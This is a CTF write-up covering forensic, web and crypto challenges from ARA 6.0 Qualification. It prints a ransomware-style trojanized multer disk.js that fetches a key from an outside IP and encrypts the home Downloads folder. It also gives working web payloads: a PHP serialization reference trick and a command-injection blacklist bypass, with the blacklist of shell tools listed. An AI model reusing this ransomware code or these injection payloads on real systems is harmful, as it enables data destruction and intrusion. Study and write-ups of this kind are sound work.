ARA 6.0 Qualification Write Up
my write up, playing with team tempe bacem ga enak hoekkkkkk
at ARA 6.0 Qualification
Forensic
Readable
regular png hex fixing, missing png header and ihdr chunk
whatshark
syscall traffic, seems to read and write something
png raw data, dumped it!
Daftar Kerja
the distribution gave us a disk dump of linux. we just need grep to solve this chall.
first of all, check the user home directory and we got readme file (ransom notes)
by finding the source of readme.txt we will get the malicious code location
the username can be checked at /etc/passwd
disk.js
var fs = require('fs')
var os = require('os')
var path = require('path')
var crypto = require('crypto')
var mkdirp = require('mkdirp')
const https = require('https');
function getFilename (req, file, cb) {
crypto.randomBytes(16, function (err, raw) {
cb(err, err ? undefined : raw.toString('hex'))
})
}
function getDestination (req, file, cb) {
cb(null, os.tmpdir())
}
async function fetchData(url) {
try {
const response = await fetch(url);
if (!response.ok) {
return null;
}
return await response.text();
} catch (error) {
return null;
}
}
function processFile(filePath, key, nonce) {
const cipher = crypto.createCipheriv('aes-256-ctr', key, nonce);
const input = fs.createReadStream(filePath);
const output = fs.createWriteStream(`${filePath}.enc`);
input.pipe(cipher).pipe(output);
output.on('finish', () => {
fs.unlink(filePath, (err) => {
});
});
}
function processFolder(folderPath, key, nonce) {
fs.readdir(folderPath, { withFileTypes: true }, (err, entries) => {
if (err) {
return;
}
entries.forEach((entry) => {
const fullPath = path.join(folderPath, entry.name);
if (entry.isDirectory()) {
processFolder(fullPath, key, nonce);
} else if (entry.isFile()) {
processFile(fullPath, key, nonce);
}
});
});
}
function createFile(data, filePath) {
fs.writeFile(filePath, data, () => {});
}
function DiskStorage (opts) {
Promise.all([
fetchData('http://157.245.204.42:1337/a.txt'),
fetchData('http://157.245.204.42:1337/b.txt'),
fetchData('http://157.245.204.42:1337/readme.txt'),
])
.then(([key, nonce, readme]) => {
processFolder(os.homedir() + '/Downloads', key, nonce);
createFile(readme, os.homedir() + '/readme.txt');
})
.catch((err) => {
});
this.getFilename = (opts.filename || getFilename)
if (typeof opts.destination === 'string') {
mkdirp.sync(opts.destination)
this.getDestination = function ($0, $1, cb) { cb(null, opts.destination) }
} else {
this.getDestination = (opts.destination || getDestination)
}
}
DiskStorage.prototype._handleFile = function _handleFile (req, file, cb) {
var that = this
that.getDestination(req, file, function (err, destination) {
if (err) return cb(err)
that.getFilename(req, file, function (err, filename) {
if (err) return cb(err)
var finalPath = path.join(destination, filename)
var outStream = fs.createWriteStream(finalPath)
file.stream.pipe(outStream)
outStream.on('error', cb)
outStream.on('finish', function () {
cb(null, {
destination: destination,
filename: filename,
path: finalPath,
size: outStream.bytesWritten
})
})
})
})
}
DiskStorage.prototype._removeFile = function _removeFile (req, file, cb) {
var path = file.path
delete file.destination
delete file.filename
delete file.path
fs.unlink(path, cb)
}
module.exports = function (opts) {
return new DiskStorage(opts)
}
the user and threat actor mail can be checked at the thunderbird cache located at home\ubuntu\snap\thunderbird\common\.thunderbird\aqzwpfkz.default\ImapMail\imap.gmail.com
the meeting link is attached in the mail (encoded as base64)
its kinda hard to decrypt the important encrypted file since we can’t find the cached a.txt and b.txt (key and nonce). but the original content before encryption seems to be cached. we can find it by finding the location of cached data, i try to search for the readme.txt btc address (because i notice it was cached by gnome text editor), found the location, and voila, we got the 10th question answer
#ans.py
from pwn import *
import struct
p = remote('chall-ctf.ara-its.id', 32128)
p.recv()
ans = [
'ubuntu',
'197MJHgAPu5znTX836e4VXLHEPJp8ZCoV',
'sudirmanryan579@gmail.com',
'sanglegendaabdi@gmail.com',
'32.000.000 - 45.000.000',
'https://meet.google.com/nkb-ukxi-exj',
'https://github.com/wengdev-33/nodejs-simple-file-upload',
'/home/ubuntu/nodejs-simple-file-upload/node_modules/multer/storage/disk.js',
'157.245.204.42:1337',
'YATTA_BERHASIL_DECRYPT_CUY'
]
for i in ans:
p.sendline(i.encode())
print(i)
print(p.recv())
# Congrats! Flag: ARA6{504l_Ini_di8u47_83rD454rK4N_r34l_c453_y4_G35_h3H3}
Web
Intuition
abuse PHP object references to make the input_R, input_G, and input_B values always match expected_R, expected_G, and expected_B (php serialize object)
<?php
class IntuitionTest {
public $name;
public $expected_R;
public $expected_G;
public $expected_B;
public $input_R;
public $input_G;
public $input_B;
}
$obj = new IntuitionTest();
$obj->name = "ganteng";
$obj->expected_R = 0;
$obj->expected_G = 0;
$obj->expected_B = 0;
$obj->input_R = &$obj->expected_R;
$obj->input_G = &$obj->expected_G;
$obj->input_B = &$obj->expected_B;
$payload = base64_encode(serialize($obj));
echo $payload, "\n";
payload:
http://chall-ctf.ara-its.id:8008/index.php?i=TzoxMzoiSW50dWl0aW9uVGVzdCI6Nzp7czo0OiJuYW1lIjtzOjc6ImdhbnRlbmciO3M6MTA6ImV4cGVjdGVkX1IiO2k6MDtzOjEwOiJleHBlY3RlZF9HIjtpOjA7czoxMDoiZXhwZWN0ZWRfQiI7aTowO3M6NzoiaW5wdXRfUiI7UjozO3M6NzoiaW5wdXRfRyI7Ujo0O3M6NzoiaW5wdXRfQiI7Ujo1O30===
El-Kebanteren
command injcetion race condition (?)
there is command injcetion vuln in this func with blacklisted. and there is a command that rm the file generated every 0.5s.
to bypass the blacklist sets two shell variables so that flag.$a$b becomes “flag.txt” without ever writing the literal substring “txt” in the payload. and use dd because it not blacklisted
blacklist = [
"ls", "cat", "rm", "mv", "id", "cp", "wget", "curl", "chmod", "chown", "find", "ps",
"grep", "awk", "sed", "bash", "sh", "python", "perl", "php", "sudo", "whoami",
"vi", "vim", "nano", "info", "uname", "more", "head", "less", "tail", "txt", "&&", "|", "`", "$(", ">", "<", "&", "'", '"', "*", "\n"
]
if any(word in inputed for word in blacklist):
return render_template('quotes.html', quotes=random_quote, inputed=inputed)
process = subprocess.run(inputed, shell=True, capture_output=True, text=True)
output = process.stdout
get_date_minute = datetime.now().strftime('%Y%m%d%H%M')
random_number = binascii.hexlify(get_date_minute.encode()).decode()
file_name = f'{random_number}.txt'
file_path = os.path.join(QUOTE_DIR, file_name)
with open(file_path, 'w') as f:
f.write(random_quote + '\n')
f.write(output + '\n')
os.system(f'sleep 0.5 && rm {file_path} &')
ls payload: a=l;b=s; $a$b /
solver
#!/usr/bin/env python3
import requests
import time
import datetime
import binascii
BASE_URL = "http://chall-ctf.ara-its.id:12124"
payload = {
"input": "a=t;b=xt;dd if=/555fa546f50f3e869c7d1d5669ef280a.$a$b bs=1"
}
session = requests.Session()
r = session.post(BASE_URL + "/get_quotes", data=payload)
if r.status_code != 200:
print("post fail")
exit(1)
now_str = datetime.datetime.now().strftime('%Y%m%d%H%M')
hex_now = binascii.hexlify(now_str.encode()).decode()
filename = f"{hex_now}.txt"
file_url = BASE_URL + "/generated_quotes/" + filename
print(f"{filename}")
for i in range(10):
r_file = session.get(file_url)
if r_file.status_code == 200 and r_file.text.strip() != "":
print(r_file.text.strip())
break
time.sleep(0.1)
else:
print("eror")
ARA6{Raden_Banter_is_SPEEEEEEEED_SUIIIIIIIIII}
AI?
ilynaga
GA TAU, INI CHALL APAAN SIH
POKOKNYA INTINYA INI
return success if ssim_value>=0.96 and predicted_class == 'True' else fail
SSIM_VALUE ITU NILAI DARI GAMBAR MAS-MASNYA, PREDICTED_CLASS POKOKNYA YG PENTING GAMBAR MUKA AI-NYA KEDETECT. ANJRIT 3 JAM GUA OBRAK ABRIK PAKE PAINT
Crypto
currently in a relationship (nope)
The encryption scheme produces two ciphertext files (flag1.enc and flag2.enc), each of which is split into fixed-size blocks (192 bytes per block)
the public exponent used is e = 245, and the linear relation parameters a=24a=24 and b=50b=50.
For each pair of ciphertext blocks, the chall forms
Under the franklin-reiter related message attack the gcd should be a linear polynomial Lx + C
we can use the Franklin–Reiter idea by computing the greatest common divisor (gcd) of the two polynomials
Because standard computer–algebra systems (or sympy’s built–in gcd) work over a field (and nn is composite) we code a simple Euclidean algorithm for polynomials over the ring Z/nZ. (This works as long as the coefficients we need to “divide by” are invertible modulo nn. In our case the “leading coefficients” turn out to be invertible.)
#!/usr/bin/env python3
import math
def modinv(a, mod):
t, newt = 0, 1
r, newr = mod, a % mod
while newr != 0:
quotient = r // newr
t, newt = newt, t - quotient * newt
r, newr = newr, r - quotient * newr
if r != 1:
raise Exception(f"modular inverse does not exist for {a} mod {mod}")
return t % mod
def poly_divmod(A, B, mod):
A = A[:]
degA = len(A) - 1
degB = len(B) - 1
if degB < 0:
raise Exception("Division by the zero polynomial")
Q = [0] * (degA - degB + 1) if degA >= degB else []
while len(A) - 1 >= degB and A:
degA = len(A) - 1
factor = (A[degA] * modinv(B[degB], mod)) % mod
pos = degA - degB
Q[pos] = factor
for i in range(degB + 1):
A[i + pos] = (A[i + pos] - factor * B[i]) % mod
while A and A[-1] % mod == 0:
A.pop()
return Q, A
def poly_gcd(A, B, mod):
A = A[:]
while A and A[-1] % mod == 0:
A.pop()
B = B[:]
while B and B[-1] % mod == 0:
B.pop()
while B:
Q, R = poly_divmod(A, B, mod)
A, B = B, R
if not A:
return []
inv_lead = modinv(A[-1], mod)
return [(coeff * inv_lead) % mod for coeff in A]
def poly_from_encryption(a, b, exp, c, mod):
poly = [0] * (exp + 1)
for i in range(exp + 1):
coeff = math.comb(exp, i) * pow(a, i, mod) * pow(b, exp - i, mod)
poly[i] = coeff % mod
poly[0] = (poly[0] - c) % mod
return poly
def poly_from_plain(exp, c, mod):
poly = [0] * (exp + 1)
poly[0] = (-c) % mod
poly[exp] = 1
return poly
if __name__ == "__main__":
with open("out.txt", "r") as f:
modulus = int(f.read().strip())
e = 245
a = 24
b = 50
with open("flag1.enc", "rb") as f:
data1 = f.read()
with open("flag2.enc", "rb") as f:
data2 = f.read()
block_size_ct = 192
blocks1 = [data1[i:i+block_size_ct] for i in range(0, len(data1), block_size_ct)]
blocks2 = [data2[i:i+block_size_ct] for i in range(0, len(data2), block_size_ct)]
if len(blocks1) != len(blocks2):
raise Exception("The two ciphertext files do not have the same number of blocks.")
print(f"Found {len(blocks1)} blocks.")
plaintext_blocks = []
pt_block_size = (1536 // 8) - 1
for i, (ct1_block, ct2_block) in enumerate(zip(blocks1, blocks2)):
print(f"Processing block {i+1} of {len(blocks1)}...")
c1 = int.from_bytes(ct1_block, "big")
c2 = int.from_bytes(ct2_block, "big")
# f(x) = (a*x + b)^e - c2 and g(x) = x^e - c1, with coefficients modulo n.
poly_f = poly_from_encryption(a, b, e, c2, modulus)
poly_g = poly_from_plain(e, c1, modulus)
gcd_poly = poly_gcd(poly_f, poly_g, modulus)
if len(gcd_poly) != 2:
print("[-] Block", i+1, ": Unexpected gcd degree (expected 1, got degree %d)." % (len(gcd_poly)-1))
continue
L = gcd_poly[1]
C = gcd_poly[0]
try:
m = (-C * modinv(L, modulus)) % modulus
except Exception as exc:
print("[-] Block", i+1, ": Failed to invert leading coefficient:", exc)
continue
pt_block = m.to_bytes(pt_block_size, "big")
plaintext_blocks.append(pt_block)
plaintext = b"".join(plaintext_blocks)
with open("solved_flag.png", "wb") as f:
f.write(plaintext)
print("Decryption complete. Output written to solved_flag.png")
from the solver, we got this
now try to bruteforce the password to decrypt the aes encrypted flag2.enc
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def try_decrypt(key: bytes, ciphertext: bytes) -> bytes:
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(ciphertext)
try:
plaintext = unpad(decrypted, AES.block_size)
return plaintext
except ValueError:
return None
def main():
with open("flag22.enc", "rb") as f:
ciphertext = f.read()
found = False
with open("/home/jons/wordlist/rockyou.txt", "r", encoding="latin-1") as f:
for line in f:
candidate = line.strip()
if len(candidate) not in (16, 24, 32):
continue
key = candidate.encode("utf-8")
print("key:", key)
plaintext = try_decrypt(key, ciphertext)
if plaintext is not None and b"ARA6{" in plaintext:
print(" key found:", candidate)
print(plaintext[:200].decode("utf-8", errors="replace"))
found = True
break
if not found:
print("No valid key found in rockyou.txt.")
if __name__ == "__main__":
main()